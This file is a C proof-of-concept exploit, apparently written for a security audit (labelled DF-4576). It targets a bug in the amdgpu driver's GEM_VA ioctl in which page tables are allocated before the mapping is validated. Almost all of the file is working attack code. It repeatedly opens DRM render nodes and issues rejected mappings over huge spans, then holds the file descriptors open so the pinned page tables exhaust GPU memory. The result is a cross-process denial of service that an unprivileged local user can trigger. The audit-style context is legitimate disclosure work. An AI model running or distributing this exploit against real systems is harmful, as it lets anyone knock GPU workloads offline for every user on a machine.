/*
 * DF-4576 — amdgpu GEM_VA page-table exhaustion PoC (alloc-before-validate)
 *
 * Bug: amdgpu_gem_va_ioctl() (sys/dev/drm/amd/amdgpu/amdgpu_gem.c:637-646 MAP,
 * :657-666 REPLACE) calls amdgpu_vm_alloc_pts(adev, vm, va_address, map_size)
 * BEFORE amdgpu_vm_bo_map() validates offset_in_bo/map_size against the BO
 * size (amdgpu_vm.c:2493-2512).  alloc_pts allocates page-table BOs for the
 * WHOLE attacker-chosen range (bounded only by max_pfn) and nothing frees
 * them when bo_map subsequently rejects the mapping — they stay owned by the
 * VM until the fd is closed.
 *
 * Exploit: one 4 KiB GTT BO + ONE GEM_VA ioctl with a huge map_size and an
 * offset_in_bo that guarantees bo_map rejection pins ~(span / 2^18) bytes of
 * GTT/VRAM in page tables (128 TiB span -> ~512 MiB).  Repeat with fresh
 * render-node fds until GTT is exhausted -> all GPU memory allocations fail
 * for every process on the machine (cross-process DoS) until the fds close.
 *
 * Expected behaviour on real AMD hardware:
 *   - every GEM_VA ioctl returns -1/EINVAL (that is the point: the mapping is
 *     REJECTED, but the page tables were already allocated);
 *   - amdgpu GTT usage grows by ~(span/2^18) bytes per iteration
 *     (watch /sys/kernel/debug/dri/<n>/amdgpu_mm_info or radeontop);
 *   - after enough iterations dmesg shows amdgpu allocation failures and GPU
 *     clients start failing (OOM in GTT).
 *
 * On a machine without an AMD GPU (e.g. this audit's QEMU guest):
 *   open("/dev/dri/renderD128") -> ENOENT, exit code 2.
 *
 * Build:  cc -O2 -o gem_va_pt_exhaust gem_va_pt_exhaust.c
 * Run:    ./gem_va_pt_exhaust [iterations] [span_bytes_hex]
 *         defaults: 64 iterations, 0x800000000000 (128 TiB) span
 *
 * Requires read/write access to the DRM render node (unprivileged on typical
 * desktop installs: /dev/dri/renderD128 0666 root:video or crw-rw-rw-).
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <sys/ioctl.h>

/* ------------------------------------------------------------------ */
/* Minimal Linux-style ioctl encoding (do NOT use <sys/ioccom.h>: the
 * BSD _IOC layout is different from the Linux DRM ioctl encoding the
 * amdgpu kernel side expects). */
#define L_IOC_NRBITS	8
#define L_IOC_TYPEBITS	8
#define L_IOC_SIZEBITS	14
#define L_IOC_DIRBITS	2

#define L_IOC_NRSHIFT	0
#define L_IOC_TYPESHIFT	8
#define L_IOC_SIZESHIFT	16
#define L_IOC_DIRSHIFT	30

#define L_IOC_NONE	0U
#define L_IOC_WRITE	1U
#define L_IOC_READ	2U

#define L_IOC(dir, type, nr, size)				      \
	(((dir)  << L_IOC_DIRSHIFT) |				      \
	 ((type) << L_IOC_TYPESHIFT) |			      \
	 ((nr)   << L_IOC_NRSHIFT) |			      \
	 ((size) << L_IOC_SIZESHIFT))

#define L_IOWR(type, nr, size)	L_IOC(L_IOC_READ|L_IOC_WRITE, (type), (nr), (size))

#define DRM_IOCTL_BASE		'd'
#define DRM_COMMAND_BASE	0x40

/* ------------------------------------------------------------------ */
/* uapi structs (from sys/dev/drm/include/uapi/drm/amdgpu_drm.h) */

struct drm_amdgpu_gem_create_in {
	uint64_t	bo_size;
	uint64_t	alignment;
	uint32_t	domains;
	uint32_t	domain_flags;
};

struct drm_amdgpu_gem_create_out {
	uint32_t	handle;
	uint32_t	_pad;
};

union drm_amdgpu_gem_create {
	struct drm_amdgpu_gem_create_in	in;
	struct drm_amdgpu_gem_create_out out;
};

struct drm_amdgpu_gem_va {
	uint32_t	handle;
	uint32_t	_pad;
	uint32_t	operation;
	uint32_t	flags;
	uint64_t	va_address;
	uint64_t	offset_in_bo;
	uint64_t	map_size;
};

#define DRM_AMDGPU_GEM_CREATE	0x00
#define DRM_AMDGPU_GEM_VA	0x08

#define AMDGPU_GEM_DOMAIN_GTT			0x2
#define AMDGPU_GEM_CREATE_CPU_ACCESS_REQUIRED	(1 << 0)
#define AMDGPU_VA_OP_MAP			1

#define SIZEOF_GEM_CREATE	sizeof(union drm_amdgpu_gem_create)
#define SIZEOF_GEM_VA		sizeof(struct drm_amdgpu_gem_va)

#define IOCTL_GEM_CREATE	L_IOWR(DRM_IOCTL_BASE, DRM_COMMAND_BASE + DRM_AMDGPU_GEM_CREATE, SIZEOF_GEM_CREATE)
#define IOCTL_GEM_VA		L_IOWR(DRM_IOCTL_BASE, DRM_COMMAND_BASE + DRM_AMDGPU_GEM_VA, SIZEOF_GEM_VA)

/* map at 1 GiB VA, well above the 1 MiB reserved area, below the GMC hole */
#define VA_BASE		0x40000000ULL
/* offset_in_bo: page-aligned but far beyond any BO size -> bo_map rejects */
#define BAD_OFFSET	0x1000000000000000ULL

static const char *nodes[] = {
	"/dev/dri/renderD128",
	"/dev/dri/card0",
	NULL
};

int main(int argc, char **argv)
{
	int iters = argc > 1 ? atoi(argv[1]) : 64;
	uint64_t span = argc > 2 ? strtoull(argv[2], NULL, 0) : 0x800000000000ULL;
	int fds[4096];
	int i, fd = -1, rc = 0;

	if (iters > 4096)
		iters = 4096;
	if (span & 0xfffULL)
		span &= ~0xfffULL;	/* must be GPU-page aligned */

	printf("DF-4576: amdgpu GEM_VA alloc_pts-before-validate page-table exhaustion\n");
	printf("iterations=%d span=0x%llx (%.1f TiB) -> ~%.0f MiB of page tables held per failed ioctl\n\n",
	       iters, (unsigned long long)span, span / 1099511627776.0,
	       (double)(span >> 18) / 1048576.0);

	for (i = 0; i < iters; i++) {
		int n;

		fd = -1;
		for (n = 0; nodes[n] != NULL && fd < 0; n++)
			fd = open(nodes[n], O_RDWR | O_CLOEXEC);
		if (fd < 0) {
			fprintf(stderr, "iter %d: cannot open any DRM node (%s)\n"
				"  -> no AMD GPU on this machine; PoC needs real amdgpu hardware.\n",
				i, strerror(errno));
			rc = 2;
			break;
		}

		union drm_amdgpu_gem_create gc;
		memset(&gc, 0, sizeof(gc));
		gc.in.bo_size		= 4096;
		gc.in.alignment		= 0;
		gc.in.domains		= AMDGPU_GEM_DOMAIN_GTT;
		gc.in.domain_flags	= AMDGPU_GEM_CREATE_CPU_ACCESS_REQUIRED;
		if (ioctl(fd, IOCTL_GEM_CREATE, &gc) < 0) {
			fprintf(stderr, "iter %d: GEM_CREATE failed: %s\n", i, strerror(errno));
			close(fd);
			rc = 1;
			break;
		}

		struct drm_amdgpu_gem_va va;
		memset(&va, 0, sizeof(va));
		va.handle	= gc.out.handle;
		va.operation	= AMDGPU_VA_OP_MAP;
		va.flags	= 0;
		va.va_address	= VA_BASE;
		va.offset_in_bo	= BAD_OFFSET;	/* guarantees bo_map() rejects */
		va.map_size	= span;

		if (ioctl(fd, IOCTL_GEM_VA, &va) == 0)
			printf("iter %3d: MAP unexpectedly SUCCEEDED (unexpected)\n", i);
		else
			printf("iter %3d: MAP rejected (%s) — page tables for %.1f TiB of VA now pinned by fd %d\n",
			       i, strerror(errno), span / 1099511627776.0, fd);
		fflush(stdout);
		fds[i] = fd;	/* keep the fd (and its page tables) alive */
	}

	if (rc == 0 && i > 0) {
		printf("\nHolding %d fds open. On real hardware check now:\n"
		       "  cat /sys/kernel/debug/dri/*/amdgpu_mm_info   (GTT usage)\n"
		       "  dmesg | tail                                (amdgpu alloc failures)\n"
		       "Sleeping 60s so you can look...\n", i);
		sleep(60);
	}
	while (--i >= 0)
		close(fds[i]);
	return rc;
}
